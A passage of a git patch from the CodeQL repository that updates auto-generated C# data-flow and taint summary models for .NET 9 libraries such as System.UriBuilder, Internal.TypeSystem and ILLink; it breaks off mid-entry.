b594d40ba1b..03b23b02725 100644 --- a/csharp/ql/lib/ext/generated/System.model.yml +++ b/csharp/ql/lib/ext/generated/System.model.yml @@ -746,13 +746,6 @@ extensions: - ["System", "Uri", False, "get_LocalPath", "()", "", "Argument[this].SyntheticField[System.Uri._string]", "ReturnValue", "value", "dfc-generated"] - ["System", "Uri", False, "get_Scheme", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "get_UserInfo", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System", "UriBuilder", False, "UriBuilder", "(System.String)", "", "Argument[0]", "Argument[this].SyntheticField[System.UriBuilder._uri]", "taint", "dfc-generated"] - - ["System", "UriBuilder", False, "UriBuilder", "(System.String,System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System", "UriBuilder", False, "UriBuilder", "(System.String,System.String)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - - ["System", "UriBuilder", False, "UriBuilder", "(System.String,System.String,System.Int32,System.String)", "", "Argument[3]", "Argument[this]", "taint", "df-generated"] - - ["System", "UriBuilder", False, "UriBuilder", "(System.String,System.String,System.Int32,System.String,System.String)", "", "Argument[4]", "Argument[this]", "taint", "df-generated"] - - ["System", "UriBuilder", False, "UriBuilder", "(System.Uri)", "", "Argument[0]", "Argument[this].SyntheticField[System.UriBuilder._uri]", "value", "dfc-generated"] - - ["System", "UriBuilder", False, "get_Uri", "()", "", "Argument[this].SyntheticField[System.UriBuilder._uri]", "ReturnValue", "value", "dfc-generated"] - ["System", "UriParser", False, "Register", "(System.UriParser,System.String,System.Int32)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] - ["System", "UriParser", True, "GetComponents", "(System.Uri,System.UriComponents,System.UriFormat)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System", "UriParser", True, "OnNewUri", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -5395,8 +5388,6 @@ extensions: - ["System", "Uri", "op_Inequality", "(System.Uri,System.Uri)", "summary", "df-generated"] - ["System", "UriBuilder", "Equals", "(System.Object)", "summary", "df-generated"] - ["System", "UriBuilder", "GetHashCode", "()", "summary", "df-generated"] - - ["System", "UriBuilder", "ToString", "()", "summary", "df-generated"] - - ["System", "UriBuilder", "UriBuilder", "(System.String,System.String,System.Int32)", "summary", "df-generated"] - ["System", "UriFormatException", "UriFormatException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "summary", "df-generated"] - ["System", "UriFormatException", "UriFormatException", "(System.String)", "summary", "df-generated"] - ["System", "UriFormatException", "UriFormatException", "(System.String,System.Exception)", "summary", "df-generated"] From 2487f7734b874d380e3299250f2f21737c27beba Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 26 Mar 2025 12:55:37 +0100 Subject: [PATCH 176/282] C#: Update the generated .NET 9 models. --- .../ILLink.RoslynAnalyzer.DataFlow.model.yml | 6 +- .../generated/Internal.TypeSystem.model.yml | 24 +++--- .../Microsoft.Diagnostics.Tools.Pgo.model.yml | 6 +- ...guration.Binder.SourceGeneration.model.yml | 9 +- ...crosoft.Extensions.Configuration.model.yml | 2 +- ...t.Extensions.Diagnostics.Metrics.model.yml | 2 +- .../Microsoft.Extensions.Primitives.model.yml | 4 +- .../ext/generated/Microsoft.Interop.model.yml | 26 +++--- ...oft.VisualBasic.CompilerServices.model.yml | 6 +- .../generated/Microsoft.VisualBasic.model.yml | 12 +-- .../ext/generated/Mono.Linker.Steps.model.yml | 6 +- .../lib/ext/generated/Mono.Linker.model.yml | 6 +- .../ext/generated/System.Buffers.model.yml | 46 +++++----- .../System.CodeDom.Compiler.model.yml | 12 +-- .../System.Collections.Concurrent.model.yml | 12 +-- .../System.Collections.Frozen.model.yml | 8 +- .../System.Collections.Generic.model.yml | 34 ++++---- .../System.Collections.Immutable.model.yml | 67 +++++++-------- .../System.Collections.ObjectModel.model.yml | 5 +- .../generated/System.Collections.model.yml | 3 +- ...mponentModel.Composition.Hosting.model.yml | 6 +- ...odel.Composition.ReflectionModel.model.yml | 2 +- .../System.Composition.Hosting.Core.model.yml | 6 +- .../generated/System.Composition.model.yml | 10 +-- .../System.Configuration.Internal.model.yml | 7 +- .../generated/System.Data.Common.model.yml | 2 +- .../System.Diagnostics.Tracing.model.yml | 7 +- .../generated/System.Diagnostics.model.yml | 15 ++-- .../ext/generated/System.Dynamic.model.yml | 2 +- .../generated/System.Formats.Asn1.model.yml | 6 +- .../generated/System.IO.Enumeration.model.yml | 4 +- .../ql/lib/ext/generated/System.IO.model.yml | 4 +- .../System.Net.Http.Headers.model.yml | 12 +-- .../ext/generated/System.Net.Mail.model.yml | 22 ++--- .../generated/System.Net.Sockets.model.yml | 24 +++--- .../ext/generated/System.Numerics.model.yml | 4 +- .../System.Reflection.Emit.model.yml | 1 + ...stem.Reflection.Metadata.Ecma335.model.yml | 12 +-- .../System.Reflection.Metadata.model.yml | 2 +- ...em.Reflection.PortableExecutable.model.yml | 2 +- .../ext/generated/System.Reflection.model.yml | 4 - .../ext/generated/System.Resources.model.yml | 2 +- .../System.Runtime.CompilerServices.model.yml | 84 ++++++++----------- ...time.InteropServices.Marshalling.model.yml | 4 +- .../System.Runtime.InteropServices.model.yml | 17 ++-- .../System.Runtime.Intrinsics.model.yml | 8 +- ...time.Serialization.DataContracts.model.yml | 4 +- .../System.Runtime.Serialization.model.yml | 4 +- ...ystem.Security.Cryptography.Pkcs.model.yml | 10 +-- ...System.Security.Cryptography.Xml.model.yml | 2 +- .../System.Text.Json.Nodes.model.yml | 4 +- .../System.Text.Json.Serialization.model.yml | 3 +- .../ext/generated/System.Text.Json.model.yml | 26 +++--- .../System.Text.RegularExpressions.model.yml | 2 +- .../generated/System.Text.Unicode.model.yml | 4 +- .../System.Threading.RateLimiting.model.yml | 4 +- .../System.Threading.Tasks.Dataflow.model.yml | 6 +- .../ext/generated/System.Threading.model.yml | 40 +++++---- .../System.Xml.Serialization.model.yml | 5 +- .../System.Xml.Xsl.Runtime.model.yml | 11 +-- .../ql/lib/ext/generated/System.Xml.model.yml | 12 +-- csharp/ql/lib/ext/generated/System.model.yml | 28 +++---- 62 files changed, 348 insertions(+), 382 deletions(-) diff --git a/csharp/ql/lib/ext/generated/ILLink.RoslynAnalyzer.DataFlow.model.yml b/csharp/ql/lib/ext/generated/ILLink.RoslynAnalyzer.DataFlow.model.yml index 7bec23ae842..a70583ae7d0 100644 --- a/csharp/ql/lib/ext/generated/ILLink.RoslynAnalyzer.DataFlow.model.yml +++ b/csharp/ql/lib/ext/generated/ILLink.RoslynAnalyzer.DataFlow.model.yml @@ -11,9 +11,9 @@ extensions: - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "CreateProxyBranch", "(Microsoft.CodeAnalysis.FlowAnalysis.ControlFlowBranch)", "", "Argument[0].Property[Microsoft.CodeAnalysis.FlowAnalysis.ControlFlowBranch.Source]", "ReturnValue.Field[ILLink.Shared.DataFlow.IControlFlowGraph`2+ControlFlowBranch.Source].Property[ILLink.RoslynAnalyzer.DataFlow.BlockProxy.Block]", "value", "dfc-generated"] - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "FirstBlock", "(ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "LastBlock", "(ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "TryGetEnclosingFinally", "(ILLink.RoslynAnalyzer.DataFlow.BlockProxy,ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[0].Property[ILLink.RoslynAnalyzer.DataFlow.BlockProxy.Block].Property[Microsoft.CodeAnalysis.FlowAnalysis.BasicBlock.EnclosingRegion]", "ReturnValue.Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region]", "value", "dfc-generated"] - - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "TryGetEnclosingTryOrCatchOrFilter", "(ILLink.RoslynAnalyzer.DataFlow.BlockProxy,ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[0].Property[ILLink.RoslynAnalyzer.DataFlow.BlockProxy.Block].Property[Microsoft.CodeAnalysis.FlowAnalysis.BasicBlock.EnclosingRegion]", "ReturnValue.Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region]", "value", "dfc-generated"] - - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "TryGetEnclosingTryOrCatchOrFilter", "(ILLink.RoslynAnalyzer.DataFlow.RegionProxy,ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[0].Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region].Property[Microsoft.CodeAnalysis.FlowAnalysis.ControlFlowRegion.EnclosingRegion]", "ReturnValue.Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region]", "value", "dfc-generated"] + - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "TryGetEnclosingFinally", "(ILLink.RoslynAnalyzer.DataFlow.BlockProxy,ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[0].Property[ILLink.RoslynAnalyzer.DataFlow.BlockProxy.Block].Property[Microsoft.CodeAnalysis.FlowAnalysis.BasicBlock.EnclosingRegion]", "Argument[1].Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region]", "value", "dfc-generated"] + - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "TryGetEnclosingTryOrCatchOrFilter", "(ILLink.RoslynAnalyzer.DataFlow.BlockProxy,ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[0].Property[ILLink.RoslynAnalyzer.DataFlow.BlockProxy.Block].Property[Microsoft.CodeAnalysis.FlowAnalysis.BasicBlock.EnclosingRegion]", "Argument[1].Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region]", "value", "dfc-generated"] + - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "TryGetEnclosingTryOrCatchOrFilter", "(ILLink.RoslynAnalyzer.DataFlow.RegionProxy,ILLink.RoslynAnalyzer.DataFlow.RegionProxy)", "", "Argument[0].Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region].Property[Microsoft.CodeAnalysis.FlowAnalysis.ControlFlowRegion.EnclosingRegion]", "Argument[1].Property[ILLink.RoslynAnalyzer.DataFlow.RegionProxy.Region]", "value", "dfc-generated"] - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "get_Blocks", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["ILLink.RoslynAnalyzer.DataFlow", "ControlFlowGraphProxy", False, "get_Entry", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["ILLink.RoslynAnalyzer.DataFlow", "FeatureChecksValue", False, "And", "(ILLink.RoslynAnalyzer.DataFlow.FeatureChecksValue)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml b/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml index be631bb427c..e6b9fb39e71 100644 --- a/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml +++ b/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml @@ -91,7 +91,7 @@ extensions: - ["Internal.TypeSystem", "LockFreeReaderHashtable", False, "AddOrGetExisting", "(TValue)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "LockFreeReaderHashtable", False, "GetOrCreateValue", "(TKey)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "LockFreeReaderHashtable", False, "GetValueIfExists", "(TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "LockFreeReaderHashtable", False, "TryGetValue", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "LockFreeReaderHashtable", False, "TryGetValue", "(TKey,TValue)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["Internal.TypeSystem", "MarshalAsDescriptor", False, "MarshalAsDescriptor", "(Internal.TypeSystem.NativeTypeKind,Internal.TypeSystem.NativeTypeKind,System.Nullable,System.Nullable,Internal.TypeSystem.TypeDesc,System.String)", "", "Argument[2]", "Argument[this].Property[Internal.TypeSystem.MarshalAsDescriptor.SizeParamIndex]", "value", "dfc-generated"] - ["Internal.TypeSystem", "MarshalAsDescriptor", False, "MarshalAsDescriptor", "(Internal.TypeSystem.NativeTypeKind,Internal.TypeSystem.NativeTypeKind,System.Nullable,System.Nullable,Internal.TypeSystem.TypeDesc,System.String)", "", "Argument[3]", "Argument[this].Property[Internal.TypeSystem.MarshalAsDescriptor.SizeConst]", "value", "dfc-generated"] - ["Internal.TypeSystem", "MarshalAsDescriptor", False, "MarshalAsDescriptor", "(Internal.TypeSystem.NativeTypeKind,Internal.TypeSystem.NativeTypeKind,System.Nullable,System.Nullable,Internal.TypeSystem.TypeDesc,System.String)", "", "Argument[4]", "Argument[this].SyntheticField[Internal.TypeSystem.MarshalAsDescriptor._marshallerType]", "value", "dfc-generated"] @@ -99,9 +99,6 @@ extensions: - ["Internal.TypeSystem", "MarshalAsDescriptor", False, "get_Cookie", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.MarshalAsDescriptor._cookie]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "MarshalAsDescriptor", False, "get_MarshallerType", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.MarshalAsDescriptor._marshallerType]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", False, "CalculateFieldBaseOffset", "(Internal.TypeSystem.MetadataType,System.Boolean,System.Boolean)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", True, "AlignBaseOffsetIfNecessary", "(Internal.TypeSystem.MetadataType,Internal.TypeSystem.LayoutInt,System.Boolean,System.Boolean)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", True, "FinalizeRuntimeSpecificStaticFieldLayout", "(Internal.TypeSystem.TypeSystemContext,Internal.TypeSystem.ComputedStaticFieldLayout)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", True, "PrepareRuntimeSpecificStaticFieldLayout", "(Internal.TypeSystem.TypeSystemContext,Internal.TypeSystem.ComputedStaticFieldLayout)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "MetadataType", False, "get_VirtualMethodImplsForType", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataType", True, "ComputeVirtualMethodImplsForType", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataType", True, "GetNestedTypes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -111,8 +108,8 @@ extensions: - ["Internal.TypeSystem", "MetadataTypeSystemContext", True, "SetSystemModule", "(Internal.TypeSystem.ModuleDesc)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "EnumAllVirtualSlots", "(Internal.TypeSystem.MetadataType)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "FindSlotDefiningMethodForVirtualMethod", "(Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MethodDelegator", False, "MethodDelegator", "(Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[this].Field[Internal.TypeSystem.MethodDelegator._wrappedMethod]", "value", "dfc-generated"] - ["Internal.TypeSystem", "MethodDelegator", True, "get_Context", "()", "", "Argument[this].Field[Internal.TypeSystem.MethodDelegator._wrappedMethod].Property[Internal.TypeSystem.TypeSystemEntity.Context]", "ReturnValue", "value", "dfc-generated"] @@ -276,10 +273,10 @@ extensions: - ["Internal.TypeSystem", "TypeSystemHelpers", False, "InstantiateAsOpen", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodTarget", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodTargetWithVariance", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "value", "dfc-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeWithRepeatedFields", False, "TypeWithRepeatedFields", "(Internal.TypeSystem.MetadataType)", "", "Argument[0]", "Argument[this].SyntheticField[Internal.TypeSystem.TypeWithRepeatedFields.MetadataType]", "value", "dfc-generated"] - ["Internal.TypeSystem", "TypeWithRepeatedFields", False, "get_ContainingType", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.TypeWithRepeatedFields.MetadataType].Property[Internal.TypeSystem.MetadataType.ContainingType]", "ReturnValue", "value", "dfc-generated"] @@ -290,10 +287,10 @@ extensions: - ["Internal.TypeSystem", "TypeWithRepeatedFieldsFieldLayoutAlgorithm", False, "TypeWithRepeatedFieldsFieldLayoutAlgorithm", "(Internal.TypeSystem.FieldLayoutAlgorithm)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ComputeAllVirtualSlots", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "FindVirtualFunctionTargetMethodOnObjectType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "value", "dfc-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all @@ -575,6 +572,7 @@ extensions: - ["Internal.TypeSystem", "MarshalAsDescriptor", "get_SizeConst", "()", "summary", "df-generated"] - ["Internal.TypeSystem", "MarshalAsDescriptor", "get_SizeParamIndex", "()", "summary", "df-generated"] - ["Internal.TypeSystem", "MarshalAsDescriptor", "get_Type", "()", "summary", "df-generated"] + - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "AlignBaseOffsetIfNecessary", "(Internal.TypeSystem.MetadataType,Internal.TypeSystem.LayoutInt,System.Boolean,System.Boolean)", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "ComputeAutoFieldLayout", "(Internal.TypeSystem.MetadataType,System.Int32)", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "ComputeContainsGCPointers", "(Internal.TypeSystem.DefType)", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "ComputeExplicitFieldLayout", "(Internal.TypeSystem.MetadataType,System.Int32)", "summary", "df-generated"] @@ -583,6 +581,8 @@ extensions: - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "ComputeSequentialFieldLayout", "(Internal.TypeSystem.MetadataType,System.Int32)", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "ComputeStaticFieldLayout", "(Internal.TypeSystem.DefType,Internal.TypeSystem.StaticLayoutKind)", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "ComputeValueTypeShapeCharacteristics", "(Internal.TypeSystem.DefType)", "summary", "df-generated"] + - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "FinalizeRuntimeSpecificStaticFieldLayout", "(Internal.TypeSystem.TypeSystemContext,Internal.TypeSystem.ComputedStaticFieldLayout)", "summary", "df-generated"] + - ["Internal.TypeSystem", "MetadataFieldLayoutAlgorithm", "PrepareRuntimeSpecificStaticFieldLayout", "(Internal.TypeSystem.TypeSystemContext,Internal.TypeSystem.ComputedStaticFieldLayout)", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataType", "FindMethodsImplWithMatchingDeclName", "(System.String)", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataType", "GetClassLayout", "()", "summary", "df-generated"] - ["Internal.TypeSystem", "MetadataType", "GetInlineArrayLength", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.Diagnostics.Tools.Pgo.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Diagnostics.Tools.Pgo.model.yml index b80511d28af..0fd21717944 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Diagnostics.Tools.Pgo.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Diagnostics.Tools.Pgo.model.yml @@ -20,9 +20,7 @@ extensions: - ["Microsoft.Diagnostics.Tools.Pgo", "FlowSmoothing", False, "MapNodes", "(System.Func)", "", "Argument[0].ReturnValue", "ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Value]", "value", "dfc-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "KeyValueMap", False, "KeyValueMap", "(TKey[],TValue[])", "", "Argument[1]", "Argument[this].SyntheticField[Microsoft.Diagnostics.Tools.Pgo.KeyValueMap`2._values]", "value", "dfc-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "KeyValueMap", False, "LookupRange", "(TKey,TKey)", "", "Argument[this].SyntheticField[Microsoft.Diagnostics.Tools.Pgo.KeyValueMap`2._values].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["Microsoft.Diagnostics.Tools.Pgo", "KeyValueMap", False, "TryLookup", "(TKey,TValue)", "", "Argument[this].SyntheticField[Microsoft.Diagnostics.Tools.Pgo.KeyValueMap`2._values].Element", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Diagnostics.Tools.Pgo", "LbrTraceEventData32", False, "Entries", "(Microsoft.Diagnostics.Tools.Pgo.LbrTraceEventData32,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Diagnostics.Tools.Pgo", "LbrTraceEventData64", False, "Entries", "(Microsoft.Diagnostics.Tools.Pgo.LbrTraceEventData64,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Diagnostics.Tools.Pgo", "KeyValueMap", False, "TryLookup", "(TKey,TValue)", "", "Argument[this].SyntheticField[Microsoft.Diagnostics.Tools.Pgo.KeyValueMap`2._values].Element", "Argument[1]", "value", "dfc-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "MinimumCostCirculation", False, "FindBellmanFordCycle", "(Microsoft.Diagnostics.Tools.Pgo.Node)", "", "Argument[0].Field[Microsoft.Diagnostics.Tools.Pgo.Node.MetaData].Field[Microsoft.Diagnostics.Tools.Pgo.NodeMetaData.PredEdge]", "ReturnValue.Property[System.Tuple`2.Item1].Element", "value", "dfc-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "Node", False, "AddInEdge", "(Microsoft.Diagnostics.Tools.Pgo.Edge)", "", "Argument[0]", "Argument[this].Field[Microsoft.Diagnostics.Tools.Pgo.Node.InEdgeList].Element", "value", "dfc-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "Node", False, "AddOutEdge", 